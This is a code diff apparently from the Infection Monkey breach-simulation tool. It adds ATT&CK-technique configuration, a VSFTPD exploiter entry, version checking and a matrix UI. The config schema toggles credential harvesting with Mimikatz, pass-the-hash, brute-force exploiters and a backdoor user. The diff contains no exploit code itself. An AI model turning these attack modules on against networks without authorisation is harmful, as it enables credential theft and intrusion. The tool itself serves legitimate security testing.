app.add_url_rule('/<path:static_path>', 'serve_static_file', serve_static_file)
def init_api_resources(api):
api.add_resource(Root, '/api')
api.add_resource(Monkey, '/api/monkey', '/api/monkey/', '/api/monkey/<string:guid>')
api.add_resource(LocalRun, '/api/local-monkey', '/api/local-monkey/')
@ -129,6 +131,20 @@ def init_app(mongo_url):
'/api/fileUpload/<string:file_type>?load=<string:filename>',
'/api/fileUpload/<string:file_type>?restore=<string:filename>')
api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/')
api.add_resource(AttackConfiguration, '/api/attack')
api.add_resource(AttackTelem, '/api/attack/<string:technique>')
api.add_resource(VersionUpdate, '/api/version-update', '/api/version-update/')
def init_app(mongo_url):
app = Flask(__name__)
api = flask_restful.Api(app)
api.representations = {'application/json': output_json}
init_app_config(app, mongo_url)
init_app_services(app)
init_app_url_rules(app)
init_api_resources(api)
return app

View File

@ -16,6 +16,7 @@ class Environment(object):
_MONGO_URL = os.environ.get("MONKEY_MONGO_URL", "mongodb://{0}:{1}/{2}".format(_MONGO_DB_HOST, _MONGO_DB_PORT, str(_MONGO_DB_NAME)))
_DEBUG_SERVER = False
_AUTH_EXPIRATION_TIME = timedelta(hours=1)
_testing = False
@property
@ -26,6 +27,9 @@ class Environment(object):
def testing(self, value):
self._testing = value
_MONKEY_VERSION = "1.6.3"
def __init__(self):
self.config = None
self._testing = False # Assume env is not for unit testing.
@ -50,6 +54,21 @@ class Environment(object):
h.update(secret)
return h.hexdigest()
def get_deployment(self):
return self._get_from_config('deployment', 'unknown')
def is_develop(self):
return self.get_deployment() == 'develop'
def get_version(self):
return self._MONKEY_VERSION + ('-dev' if self.is_develop() else '')
def _get_from_config(self, key, default_value=None):
val = default_value
if self.config is not None:
val = self.config.get(key, val)
return val
@abc.abstractmethod
def get_auth_users(self):
return

View File

@ -11,7 +11,7 @@ if env.testing:
else:
connect(db=env.mongo_db_name, host=env.mongo_db_host, port=env.mongo_db_port)
# Order or importing matters here, for registering the embedded and referenced documents before using them.
# Order of importing matters here, for registering the embedded and referenced documents before using them.
from config import Config
from creds import Creds
from monkey_ttl import MonkeyTtl

View File

@ -1,2 +0,0 @@
class MonkeyNotFoundError(Exception):
pass

View File

@ -5,7 +5,6 @@ import mongoengine
from mongoengine import Document, StringField, ListField, BooleanField, EmbeddedDocumentField, DateField, \
ReferenceField
from monkey_island.cc.models.errors import MonkeyNotFoundError
from monkey_island.cc.models.monkey_ttl import MonkeyTtl
@ -55,3 +54,7 @@ class Monkey(Document):
# Trying to dereference unknown document - the monkey is MIA.
monkey_is_dead = True
return monkey_is_dead
class MonkeyNotFoundError(Exception):
pass

View File

@ -1,3 +1,5 @@
from datetime import datetime, timedelta
from mongoengine import Document, DateTimeField
@ -6,11 +8,25 @@ class MonkeyTtl(Document):
This model represents the monkey's TTL, and is referenced by the main Monkey document.
See https://docs.mongodb.com/manual/tutorial/expire-data/ and
https://stackoverflow.com/questions/55994379/mongodb-ttl-index-doesnt-delete-expired-documents/56021663#56021663
for more information about how TTL indexing works.
for more information about how TTL indexing works and why this class is set up the way it is.
When initializing this object, do it like so:
t = MonkeyTtl(expire_at=datetime.utcnow() + timedelta(seconds=XXX))
If you wish to use this class, you can create it using the create_ttl_expire_in(seconds) function.
If you wish to create an instance of this class directly, see the inner implementation of
create_ttl_expire_in(seconds) to see how to do so.
"""
@staticmethod
def create_ttl_expire_in(expiry_in_seconds):
"""
Initializes a TTL object which will expire in expire_in_seconds seconds from when created.
Remember to call .save() on the object after creation.
:param expiry_in_seconds: How long should the TTL be in the DB, in seconds. Please take into consideration
that the cleanup thread of mongo might take extra time to delete the TTL from the DB.
"""
# Using UTC to make the mongodb TTL feature work. See
# https://stackoverflow.com/questions/55994379/mongodb-ttl-index-doesnt-delete-expired-documents.
return MonkeyTtl(expire_at=datetime.utcnow() + timedelta(seconds=expiry_in_seconds))
meta = {
'indexes': [
{

View File

@ -1,13 +1,9 @@
import uuid
from datetime import timedelta, datetime
from time import sleep
from unittest import TestCase
# noinspection PyUnresolvedReferences
import mongomock
from monkey import Monkey
from monkey_island.cc.models.errors import MonkeyNotFoundError
from monkey_island.cc.models.monkey import MonkeyNotFoundError
from monkey_ttl import MonkeyTtl
@ -21,7 +17,7 @@ class TestMonkey(TestCase):
"""
def test_is_dead(self):
# Arrange
alive_monkey_ttl = MonkeyTtl(expire_at=datetime.now() + timedelta(seconds=30))
alive_monkey_ttl = MonkeyTtl.create_ttl_expire_in(30)
alive_monkey_ttl.save()
alive_monkey = Monkey(
guid=str(uuid.uuid4()),
@ -30,7 +26,7 @@ class TestMonkey(TestCase):
alive_monkey.save()
# MIA stands for Missing In Action
mia_monkey_ttl = MonkeyTtl(expire_at=datetime.now() + timedelta(seconds=30))
mia_monkey_ttl = MonkeyTtl.create_ttl_expire_in(30)
mia_monkey_ttl.save()
mia_monkey = Monkey(guid=str(uuid.uuid4()), dead=False, ttl_ref=mia_monkey_ttl)
mia_monkey.save()

View File

@ -0,0 +1,30 @@
import flask_restful
import json
from flask import jsonify, request
from monkey_island.cc.auth import jwt_required
from monkey_island.cc.services.attack.attack_config import AttackConfig
__author__ = "VakarisZ"
class AttackConfiguration(flask_restful.Resource):
@jwt_required()
def get(self):
return jsonify(configuration=AttackConfig.get_config()['properties'])
@jwt_required()
def post(self):
"""
Based on request content this endpoint either resets ATT&CK configuration or updates it.
:return: Technique types dict with techniques on reset and nothing on update
"""
config_json = json.loads(request.data)
if 'reset_attack_matrix' in config_json:
AttackConfig.reset_config()
return jsonify(configuration=AttackConfig.get_config()['properties'])
else:
AttackConfig.update_config({'properties': json.loads(request.data)})
AttackConfig.apply_to_monkey_config()
return {}

View File

@ -1,7 +1,7 @@
import flask_restful
from flask import request
import json
from monkey_island.cc.services.attack.attack_telem import set_results
from monkey_island.cc.services.attack.attack_telem import AttackTelemService
import logging
__author__ = 'VakarisZ'
@ -20,5 +20,5 @@ class AttackTelem(flask_restful.Resource):
:param technique: Technique ID, e.g. T1111
"""
data = json.loads(request.data)
set_results(technique, data)
AttackTelemService.set_results(technique, data)
return {}

View File

@ -1,12 +1,12 @@
import json
from datetime import datetime, timedelta
from datetime import datetime
import dateutil.parser
import flask_restful
from flask import request
from monkey_island.cc.models.monkey_ttl import MonkeyTtl
from monkey_island.cc.database import mongo
from monkey_island.cc.models.monkey_ttl import MonkeyTtl
from monkey_island.cc.services.config import ConfigService
from monkey_island.cc.services.node import NodeService
@ -17,6 +17,14 @@ __author__ = 'Barak'
# TODO: separate logic from interface
def create_monkey_ttl():
# The TTL data uses the new `models` module which depends on mongoengine.
current_ttl = MonkeyTtl.create_ttl_expire_in(MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS)
current_ttl.save()
ttlid = current_ttl.id
return ttlid
class Monkey(flask_restful.Resource):
# Used by monkey. can't secure.
@ -50,13 +58,8 @@ class Monkey(flask_restful.Resource):
tunnel_host_ip = monkey_json['tunnel'].split(":")[-2].replace("//", "")
NodeService.set_monkey_tunnel(monkey["_id"], tunnel_host_ip)
# The TTL data uses the new `models` module which depends on mongoengine.
# Using UTC to make the mongodb TTL feature work. See
# https://stackoverflow.com/questions/55994379/mongodb-ttl-index-doesnt-delete-expired-documents.
current_ttl = MonkeyTtl(expire_at=datetime.utcnow() + timedelta(seconds=MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS))
current_ttl.save()
update['$set']['ttl_ref'] = current_ttl.id
ttlid = create_monkey_ttl()
update['$set']['ttl_ref'] = ttlid
return mongo.db.monkey.update({"_id": monkey["_id"]}, update, upsert=False)
@ -117,6 +120,8 @@ class Monkey(flask_restful.Resource):
tunnel_host_ip = monkey_json['tunnel'].split(":")[-2].replace("//", "")
monkey_json.pop('tunnel')
monkey_json['ttl_ref'] = create_monkey_ttl()
mongo.db.monkey.update({"guid": monkey_json["guid"]},
{"$set": monkey_json},
upsert=True)

View File

@ -6,11 +6,10 @@ from flask import request, make_response, jsonify
from monkey_island.cc.auth import jwt_required
from monkey_island.cc.database import mongo
from monkey_island.cc.services.config import ConfigService
from monkey_island.cc.services.node import NodeService
from monkey_island.cc.services.report import ReportService
from monkey_island.cc.utils import local_ip_addresses
from monkey_island.cc.services.post_breach_files import remove_PBA_files
from monkey_island.cc.services.database import Database
__author__ = 'Barak'
@ -26,7 +25,7 @@ class Root(flask_restful.Resource):
if not action:
return Root.get_server_info()
elif action == "reset":
return Root.reset_db()
return jwt_required()(Database.reset_db)()
elif action == "killall":
return Root.kill_all()
elif action == "is-up":
@ -40,16 +39,6 @@ class Root(flask_restful.Resource):
return jsonify(ip_addresses=local_ip_addresses(), mongo=str(mongo.db),
completed_steps=Root.get_completed_steps())
@staticmethod
@jwt_required()
def reset_db():
remove_PBA_files()
# We can't drop system collections.
[mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')]
ConfigService.init_config()
logger.info('DB was reset')
return jsonify(status='OK')
@staticmethod
@jwt_required()
def kill_all():

View File

@ -0,0 +1,24 @@
import flask_restful
import logging
from monkey_island.cc.environment.environment import env
from monkey_island.cc.auth import jwt_required
from monkey_island.cc.services.version_update import VersionUpdateService
__author__ = 'itay.mizeretz'
logger = logging.getLogger(__name__)
class VersionUpdate(flask_restful.Resource):
def __init__(self):
super(VersionUpdate, self).__init__()
# We don't secure this since it doesn't give out any private info and we want UI to know version
# even when not authenticated
def get(self):
return {
'current_version': env.get_version(),
'newer_version': VersionUpdateService.get_newer_version(),
'download_link': VersionUpdateService.get_download_link()
}

View File

@ -1,3 +1,4 @@
{
"server_config": "standard"
}
"server_config": "standard",
"deployment": "develop"
}

View File

@ -0,0 +1,161 @@
import logging
from dpath import util
from monkey_island.cc.database import mongo
from monkey_island.cc.services.attack.attack_schema import SCHEMA
from monkey_island.cc.services.config import ConfigService
__author__ = "VakarisZ"
logger = logging.getLogger(__name__)
class AttackConfig(object):
def __init__(self):
pass
@staticmethod
def get_config():
config = mongo.db.attack.find_one({'name': 'newconfig'})
return config
@staticmethod
def get_config_schema():
return SCHEMA
@staticmethod
def reset_config():
AttackConfig.update_config(SCHEMA)
@staticmethod
def update_config(config_json):
mongo.db.attack.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True)
return True
@staticmethod
def apply_to_monkey_config():
"""
Applies ATT&CK matrix to the monkey configuration
:return:
"""
attack_techniques = AttackConfig.get_technique_values()
monkey_config = ConfigService.get_config(False, True, True)
monkey_schema = ConfigService.get_config_schema()
AttackConfig.set_arrays(attack_techniques, monkey_config, monkey_schema)
AttackConfig.set_booleans(attack_techniques, monkey_config, monkey_schema)
ConfigService.update_config(monkey_config, True)
@staticmethod
def set_arrays(attack_techniques, monkey_config, monkey_schema):
"""
Sets exploiters/scanners/PBAs and other array type fields in monkey's config according to ATT&CK matrix
:param attack_techniques: ATT&CK techniques dict. Format: {'T1110': True, ...}
:param monkey_config: Monkey island's configuration
:param monkey_schema: Monkey configuration schema
"""
for key, definition in monkey_schema['definitions'].items():
for array_field in definition['anyOf']:
# Check if current array field has attack_techniques assigned to it
if 'attack_techniques' in array_field and array_field['attack_techniques']:
should_remove = not AttackConfig.should_enable_field(array_field['attack_techniques'],
attack_techniques)
# If exploiter's attack technique is disabled, disable the exploiter/scanner/PBA
AttackConfig.r_alter_array(monkey_config, key, array_field['enum'][0], remove=should_remove)
@staticmethod
def set_booleans(attack_techniques, monkey_config, monkey_schema):
"""
Sets boolean type fields, like "should use mimikatz?" in monkey's config according to ATT&CK matrix
:param attack_techniques: ATT&CK techniques dict. Format: {'T1110': True, ...}
:param monkey_config: Monkey island's configuration
:param monkey_schema: Monkey configuration schema
"""
for key, value in monkey_schema['properties'].items():
AttackConfig.r_set_booleans([key], value, attack_techniques, monkey_config)
@staticmethod
def r_set_booleans(path, value, attack_techniques, monkey_config):
"""
Recursively walks trough monkey configuration (DFS) to find which boolean fields needs to be set and sets them
according to ATT&CK matrix.
:param path: Property names that leads to current value. E.g. ['monkey', 'system_info', 'should_use_mimikatz']
:param value: Value of config property
:param attack_techniques: ATT&CK techniques dict. Format: {'T1110': True, ...}
:param monkey_config: Monkey island's configuration
"""
if isinstance(value, dict):
dictionary = {}
# If 'value' is a boolean value that should be set:
if 'type' in value and value['type'] == 'boolean' \
and 'attack_techniques' in value and value['attack_techniques']:
AttackConfig.set_bool_conf_val(path,
AttackConfig.should_enable_field(value['attack_techniques'],
attack_techniques),
monkey_config)
# If 'value' is dict, we go over each of it's fields to search for booleans
elif 'properties' in value:
dictionary = value['properties']
else:
dictionary = value
for key, item in dictionary.items():
path.append(key)
AttackConfig.r_set_booleans(path, item, attack_techniques, monkey_config)
# Method enumerated everything in current path, goes back a level.
del path[-1]
@staticmethod
def set_bool_conf_val(path, val, monkey_config):
"""
Changes monkey's configuration by setting one of its boolean fields value
:param path: Path to boolean value in monkey's configuration. E.g. ['monkey', 'system_info', 'should_use_mimikatz']
:param val: Boolean
:param monkey_config: Monkey's configuration
"""
util.set(monkey_config, '/'.join(path), val)
@staticmethod
def should_enable_field(field_techniques, users_techniques):
"""
Determines whether a single config field should be enabled or not.
:param field_techniques: ATT&CK techniques that field uses
:param users_techniques: ATT&CK techniques that user chose
:return: True, if user enabled all techniques used by the field, false otherwise
"""
for technique in field_techniques:
try:
if not users_techniques[technique]:
return False
except KeyError:
logger.error("Attack technique %s is defined in schema, but not implemented." % technique)
return True
@staticmethod
def r_alter_array(config_value, array_name, field, remove=True):
"""
Recursively searches config (DFS) for array and removes/adds a field.
:param config_value: Some object/value from config
:param array_name: Name of array this method should search
:param field: Field in array that this method should add/remove
:param remove: Removes field from array if true, adds it if false
"""
if isinstance(config_value, dict):
if array_name in config_value and isinstance(config_value[array_name], list):
if remove and field in config_value[array_name]:
config_value[array_name].remove(field)
elif not remove and field not in config_value[array_name]:
config_value[array_name].append(field)
else:
for prop in config_value.items():
AttackConfig.r_alter_array(prop[1], array_name, field, remove)
@staticmethod
def get_technique_values():
"""
Parses ATT&CK config into a dict of techniques and corresponding values.
:return: Dictionary of techniques. Format: {"T1110": True, "T1075": False, ...}
"""
attack_config = AttackConfig.get_config()
techniques = {}
for type_name, attack_type in attack_config['properties'].items():
for key, technique in attack_type['properties'].items():
techniques[key] = technique['value']
return techniques

View File

@ -0,0 +1,88 @@
SCHEMA = {
"title": "ATT&CK configuration",
"type": "object",
"properties": {
"initial_access": {
"title": "Initial access",
"type": "object",
"properties": {
"T1078": {
"title": "T1078 Valid accounts",
"type": "bool",
"value": True,
"necessary": False,
"description": "Mapped with T1003 Credential dumping because both techniques "
"require same credential harvesting modules. "
"Adversaries may steal the credentials of a specific user or service account using "
"Credential Access techniques or capture credentials earlier in their "
"reconnaissance process.",
"depends_on": ["T1003"]
}
}
},
"lateral_movement": {
"title": "Lateral movement",
"type": "object",
"properties": {
"T1210": {
"title": "T1210 Exploitation of Remote services",
"type": "bool",
"value": True,
"necessary": False,
"description": "Exploitation of a software vulnerability occurs when an adversary "
"takes advantage of a programming error in a program, service, or within the "
"operating system software or kernel itself to execute adversary-controlled code."
},
"T1075": {
"title": "T1075 Pass the hash",
"type": "bool",
"value": True,
"necessary": False,
"description": "Pass the hash (PtH) is a method of authenticating as a user without "
"having access to the user's cleartext password."
}
}
},
"credential_access": {
"title": "Credential access",
"type": "object",
"properties": {
"T1110": {
"title": "T1110 Brute force",
"type": "bool",
"value": True,
"necessary": False,
"description": "Adversaries may use brute force techniques to attempt access to accounts "
"when passwords are unknown or when password hashes are obtained.",
"depends_on": ["T1210"]
},
"T1003": {
"title": "T1003 Credential dumping",
"type": "bool",
"value": True,
"necessary": False,
"description": "Mapped with T1078 Valid Accounts because both techniques require"
" same credential harvesting modules. "
"Credential dumping is the process of obtaining account login and password "
"information, normally in the form of a hash or a clear text password, "
"from the operating system and software.",
"depends_on": ["T1078"]
}
}
},
"defence_evasion": {
"title": "Defence evasion",
"type": "object",
"properties": {
"T1197": {
"title": "T1197 Bits jobs",
"type": "bool",
"value": True,
"necessary": True,
"description": "Adversaries may abuse BITS to download, execute, "
"and even clean up after running malicious code."
}
}
},
}
}

View File

@ -9,11 +9,16 @@ __author__ = "VakarisZ"
logger = logging.getLogger(__name__)
def set_results(technique, data):
"""
Adds ATT&CK technique results(telemetry) to the database
:param technique: technique ID string e.g. T1110
:param data: Data, relevant to the technique
"""
data.update({'technique': technique})
mongo.db.attack_results.insert(data)
class AttackTelemService(object):
def __init__(self):
pass
@staticmethod
def set_results(technique, data):
"""
Adds ATT&CK technique results(telemetry) to the database
:param technique: technique ID string e.g. T1110
:param data: Data, relevant to the technique
"""
data.update({'technique': technique})
mongo.db.attack_results.insert(data)

View File

@ -13,42 +13,48 @@ SCHEMA = {
"enum": [
"SmbExploiter"
],
"title": "SMB Exploiter"
"title": "SMB Exploiter",
"attack_techniques": ["T1110", "T1075"]
},
{
"type": "string",
"enum": [
"WmiExploiter"
],
"title": "WMI Exploiter"
"title": "WMI Exploiter",
"attack_techniques": ["T1110"]
},
{
"type": "string",
"enum": [
"MSSQLExploiter"
],
"title": "MSSQL Exploiter"
"title": "MSSQL Exploiter",
"attack_techniques": ["T1110"]
},
{
"type": "string",
"enum": [
"RdpExploiter"
],
"title": "RDP Exploiter (UNSAFE)"
"title": "RDP Exploiter (UNSAFE)",
"attack_techniques": []
},
{
"type": "string",
"enum": [
"Ms08_067_Exploiter"
],
"title": "MS08-067 Exploiter (UNSAFE)"
"title": "MS08-067 Exploiter (UNSAFE)",
"attack_techniques": []
},
{
"type": "string",
"enum": [
"SSHExploiter"
],
"title": "SSH Exploiter"
"title": "SSH Exploiter",
"attack_techniques": ["T1110"]
},
{
"type": "string",
@ -91,6 +97,13 @@ SCHEMA = {
"HadoopExploiter"
],
"title": "Hadoop/Yarn Exploiter"
},
{
"type": "string",
"enum": [
"VSFTPDExploiter"
],
"title": "VSFTPD Exploiter"
}
]
},
@ -104,6 +117,7 @@ SCHEMA = {
"BackdoorUser"
],
"title": "Back door user",
"attack_techniques": []
},
],
},
@ -116,14 +130,16 @@ SCHEMA = {
"enum": [
"SMBFinger"
],
"title": "SMBFinger"
"title": "SMBFinger",
"attack_techniques": ["T1210"]
},
{
"type": "string",
"enum": [
"SSHFinger"
],
"title": "SSHFinger"
"title": "SSHFinger",
"attack_techniques": ["T1210"]
},
{
"type": "string",
@ -144,14 +160,16 @@ SCHEMA = {
"enum": [
"MySQLFinger"
],
"title": "MySQLFinger"
"title": "MySQLFinger",
"attack_techniques": ["T1210"]
},
{
"type": "string",
"enum": [
"MSSQLFinger"
],
"title": "MSSQLFinger"
"title": "MSSQLFinger",
"attack_techniques": ["T1210"]
},
{
@ -159,16 +177,30 @@ SCHEMA = {
"enum": [
"ElasticFinger"
],
"title": "ElasticFinger"
"title": "ElasticFinger",
"attack_techniques": ["T1210"]
}
]
}
},
"properties": {
"basic": {
"title": "Basic - Credentials",
"title": "Basic - Exploits",
"type": "object",
"properties": {
"general": {
"title": "General",
"type": "object",
"properties": {
"should_exploit": {
"title": "Exploit network machines",
"type": "boolean",
"default": True,
"attack_techniques": ["T1210"],
"description": "Determines if monkey should try to safely exploit machines on the network"
}
}
},
"credentials": {
"title": "Credentials",
"type": "object",
@ -250,8 +282,9 @@ SCHEMA = {
"default": [
],
"description":
"List of IPs/subnets the monkey should scan."
" Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\""
"List of IPs/subnets/hosts the monkey should scan."
" Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\","
" \"printer.example\""
}
}
},
@ -381,6 +414,7 @@ SCHEMA = {
"title": "Harvest Azure Credentials",
"type": "boolean",
"default": True,
"attack_techniques": ["T1003", "T1078"],
"description":
"Determine if the Monkey should try to harvest password credentials from Azure VMs"
},
@ -394,6 +428,7 @@ SCHEMA = {
"title": "Should use Mimikatz",
"type": "boolean",
"default": True,
"attack_techniques": ["T1003", "T1078"],
"description": "Determines whether to use Mimikatz"
},
}
@ -557,14 +592,14 @@ SCHEMA = {
"dropper_target_path_win_32": {
"title": "Dropper target path on Windows (32bit)",
"type": "string",
"default": "C:\\Windows\\monkey32.exe",
"default": "C:\\Windows\\temp\\monkey32.exe",
"description": "Determines where should the dropper place the monkey on a Windows machine "
"(32bit)"
},
"dropper_target_path_win_64": {
"title": "Dropper target path on Windows (64bit)",
"type": "string",
"default": "C:\\Windows\\monkey64.exe",
"default": "C:\\Windows\\temp\\monkey64.exe",
"description": "Determines where should the dropper place the monkey on a Windows machine "
"(64 bit)"
},
@ -721,7 +756,8 @@ SCHEMA = {
"ElasticGroovyExploiter",
"Struts2Exploiter",
"WebLogicExploiter",
"HadoopExploiter"
"HadoopExploiter",
"VSFTPDExploiter"
],
"description":
"Determines which exploits to use. " + WARNING_SIGN

View File

@ -0,0 +1,31 @@
import logging
from monkey_island.cc.services.config import ConfigService
from monkey_island.cc.services.attack.attack_config import AttackConfig
from monkey_island.cc.services.post_breach_files import remove_PBA_files
from flask import jsonify
from monkey_island.cc.database import mongo
logger = logging.getLogger(__name__)
class Database(object):
def __init__(self):
pass
@staticmethod
def reset_db():
remove_PBA_files()
# We can't drop system collections.
[mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')]
ConfigService.init_config()
AttackConfig.reset_config()
logger.info('DB was reset')
return jsonify(status='OK')
@staticmethod
def init_db():
if not mongo.db.collection_names():
Database.reset_db()

View File

@ -41,7 +41,8 @@ class ReportService:
'Struts2Exploiter': 'Struts2 Exploiter',
'WebLogicExploiter': 'Oracle WebLogic Exploiter',
'HadoopExploiter': 'Hadoop/Yarn Exploiter',
'MSSQLExploiter': 'MSSQL Exploiter'
'MSSQLExploiter': 'MSSQL Exploiter',
'VSFTPDExploiter': 'VSFTPD Backdoor Exploited'
}
class ISSUES_DICT(Enum):
@ -57,7 +58,8 @@ class ReportService:
WEBLOGIC = 9
HADOOP = 10
PTH_CRIT_SERVICES_ACCESS = 11,
MSSQL = 12
MSSQL = 12,
VSFTPD = 13
class WARNINGS_DICT(Enum):
CROSS_SEGMENT = 0
@ -254,6 +256,7 @@ class ReportService:
else:
processed_exploit['type'] = 'hash'
return processed_exploit
return processed_exploit
@staticmethod
def process_smb_exploit(exploit):
@ -289,6 +292,12 @@ class ReportService:
processed_exploit['type'] = 'rdp'
return processed_exploit
@staticmethod
def process_vsftpd_exploit(exploit):
processed_exploit = ReportService.process_general_creds_exploit(exploit)
processed_exploit['type'] = 'vsftp'
return processed_exploit
@staticmethod
def process_sambacry_exploit(exploit):
processed_exploit = ReportService.process_general_creds_exploit(exploit)
@ -355,7 +364,8 @@ class ReportService:
'Struts2Exploiter': ReportService.process_struts2_exploit,
'WebLogicExploiter': ReportService.process_weblogic_exploit,
'HadoopExploiter': ReportService.process_hadoop_exploit,
'MSSQLExploiter': ReportService.process_mssql_exploit
'MSSQLExploiter': ReportService.process_mssql_exploit,
'VSFTPDExploiter': ReportService.process_vsftpd_exploit
}
return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
@ -644,6 +654,8 @@ class ReportService:
issues_byte_array[ReportService.ISSUES_DICT.ELASTIC.value] = True
elif issue['type'] == 'sambacry':
issues_byte_array[ReportService.ISSUES_DICT.SAMBACRY.value] = True
elif issue['type'] == 'vsftp':
issues_byte_array[ReportService.ISSUES_DICT.VSFTPD.value] = True
elif issue['type'] == 'shellshock':
issues_byte_array[ReportService.ISSUES_DICT.SHELLSHOCK.value] = True
elif issue['type'] == 'conficker':

View File

@ -0,0 +1,57 @@
import logging
import requests
from monkey_island.cc.environment.environment import env
__author__ = "itay.mizeretz"
logger = logging.getLogger(__name__)
class VersionUpdateService:
VERSION_SERVER_URL_PREF = 'https://updates.infectionmonkey.com'
VERSION_SERVER_CHECK_NEW_URL = VERSION_SERVER_URL_PREF + '?deployment=%s&monkey_version=%s'
VERSION_SERVER_DOWNLOAD_URL = VERSION_SERVER_CHECK_NEW_URL + '&is_download=true'
newer_version = None
def __init__(self):
pass
@staticmethod
def get_newer_version():
"""
Checks for newer version if never checked before.
:return: None if failed checking for newer version, result of '_check_new_version' otherwise
"""
if VersionUpdateService.newer_version is None:
try:
VersionUpdateService.newer_version = VersionUpdateService._check_new_version()
except Exception:
logger.exception('Failed updating version number')
return VersionUpdateService.newer_version
@staticmethod
def _check_new_version():
"""
Checks if newer monkey version is available
:return: False if not, version in string format ('1.6.2') otherwise
"""
url = VersionUpdateService.VERSION_SERVER_CHECK_NEW_URL % (env.get_deployment(), env.get_version())
reply = requests.get(url, timeout=15)
res = reply.json().get('newer_version', None)
if res is False:
return res
[int(x) for x in res.split('.')] # raises value error if version is invalid format
return res
@staticmethod
def get_download_link():
return VersionUpdateService.VERSION_SERVER_DOWNLOAD_URL % (env.get_deployment(), env.get_version())

View File

@ -73,6 +73,7 @@
"json-loader": "^0.5.7",
"jwt-decode": "^2.2.0",
"moment": "^2.22.2",
"node-sass": "^4.11.0",
"normalize.css": "^8.0.0",
"npm": "^6.4.1",
"prop-types": "^15.6.2",
@ -92,7 +93,9 @@
"react-router-dom": "^4.3.1",
"react-table": "^6.8.6",
"react-toggle": "^4.0.1",
"react-tooltip-lite": "^1.9.1",
"redux": "^4.0.0",
"sass-loader": "^7.1.0",
"sha3": "^2.0.0",
"react-spinners": "^0.5.4",
"@emotion/core": "^10.0.10"

View File

@ -20,6 +20,7 @@ import 'react-data-components/css/table-twbs.css';
import 'styles/App.css';
import 'react-toggle/style.css';
import 'react-table/react-table.css';
import VersionComponent from "./side-menu/VersionComponent";
let logoImage = require('../images/monkey-icon.svg');
let infectionMonkeyImage = require('../images/infection-monkey.svg');
@ -85,7 +86,7 @@ class AppComponent extends AuthComponent {
infection_done: false,
report_done: false,
isLoggedIn: undefined
}
},
};
}
@ -175,6 +176,7 @@ class AppComponent extends AuthComponent {
<div className="license-link text-center">
<NavLink to="/license">License</NavLink>
</div>
<VersionComponent/>
</Col>
<Col sm={9} md={10} smOffset={3} mdOffset={2} className="main">
<Route path='/login' render={(props) => (<LoginPageComponent onStatusChange={this.updateStatus}/>)}/>

View File

@ -0,0 +1,119 @@
import React from 'react';
import Checkbox from '../ui-components/Checkbox'
import Tooltip from 'react-tooltip-lite'
import AuthComponent from '../AuthComponent';
import ReactTable from "react-table";
import 'filepond/dist/filepond.min.css';
import '../../styles/Tooltip.scss';
import {Col} from "react-bootstrap";
class MatrixComponent extends AuthComponent {
constructor(props) {
super(props);
this.state = {lastAction: 'none'}
};
// Finds which attack type has most techniques and returns that number
static findMaxTechniques(data){
let maxLen = 0;
data.forEach(function(techType) {
if (Object.keys(techType.properties).length > maxLen){
maxLen = Object.keys(techType.properties).length
}
});
return maxLen
};
// Parses ATT&CK config schema into data suitable for react-table (ATT&CK matrix)
static parseTechniques (data, maxLen) {
let techniques = [];
// Create rows with attack techniques
for (let i = 0; i < maxLen; i++) {
let row = {};
data.forEach(function(techType){
let rowColumn = {};
rowColumn.techName = techType.title;
if (i <= Object.keys(techType.properties).length) {
rowColumn.technique = Object.values(techType.properties)[i];
if (rowColumn.technique){
rowColumn.technique.name = Object.keys(techType.properties)[i]
}
} else {
rowColumn.technique = null
}
row[rowColumn.techName] = rowColumn
});
techniques.push(row)
}
return techniques;
};
getColumns(matrixData) {
return Object.keys(matrixData[0]).map((key)=>{
return {
Header: key,
id: key,
accessor: x => this.renderTechnique(x[key].technique),
style: { 'whiteSpace': 'unset' }
};
});
}
renderTechnique(technique) {
if (technique == null){
return (<div />)
} else {
return (<Tooltip content={technique.description} direction="down">
<Checkbox checked={technique.value}
necessary={technique.necessary}
name={technique.name}
changeHandler={this.props.change}>
{technique.title}
</Checkbox>
</Tooltip>)
}
};
getTableData = (config) => {
let configCopy = JSON.parse(JSON.stringify(config));
let maxTechniques = MatrixComponent.findMaxTechniques(Object.values(configCopy));
let matrixTableData = MatrixComponent.parseTechniques(Object.values(configCopy), maxTechniques);
let columns = this.getColumns(matrixTableData);
return {'columns': columns, 'matrixTableData': matrixTableData, 'maxTechniques': maxTechniques}
};
renderLegend = () => {
return (
<div id="header" className="row justify-content-between attack-legend">
<Col xs={4}>
<i className="fa fa-circle-thin icon-unchecked"></i>
<span> - Dissabled</span>
</Col>
<Col xs={4}>
<i className="fa fa-circle icon-checked"></i>
<span> - Enabled</span>
</Col>
<Col xs={4}>
<i className="fa fa-circle icon-mandatory"></i>
<span> - Mandatory</span>
</Col>
</div>)
};
render() {
let tableData = this.getTableData(this.props.configuration);
return (
<div>
{this.renderLegend()}
<div className={"attack-matrix"}>
<ReactTable columns={tableData['columns']}
data={tableData['matrixTableData']}
showPagination={false}
defaultPageSize={tableData['maxTechniques']} />
</div>
</div>);
}
}
export default MatrixComponent;

View File

@ -1,84 +1,137 @@
import React from 'react';
import Form from 'react-jsonschema-form';
import {Col, Nav, NavItem} from 'react-bootstrap';
import {Col, Modal, Nav, NavItem} from 'react-bootstrap';
import fileDownload from 'js-file-download';
import AuthComponent from '../AuthComponent';
import { FilePond } from 'react-filepond';
import 'filepond/dist/filepond.min.css';
import MatrixComponent from "../attack/MatrixComponent";
const ATTACK_URL = '/api/attack';
const CONFIG_URL = '/api/configuration/island';
class ConfigurePageComponent extends AuthComponent {
constructor(props) {
super(props);
this.PBAwindowsPond = null;
this.PBAlinuxPond = null;
this.currentSection = 'basic';
this.currentSection = 'attack';
this.currentFormData = {};
this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal'];
this.uiSchema = {
behaviour: {
custom_PBA_linux_cmd: {
"ui:widget": "textarea",
"ui:emptyValue": ""
},
PBA_linux_file: {
"ui:widget": this.PBAlinux
},
custom_PBA_windows_cmd: {
"ui:widget": "textarea",
"ui:emptyValue": ""
},
PBA_windows_file: {
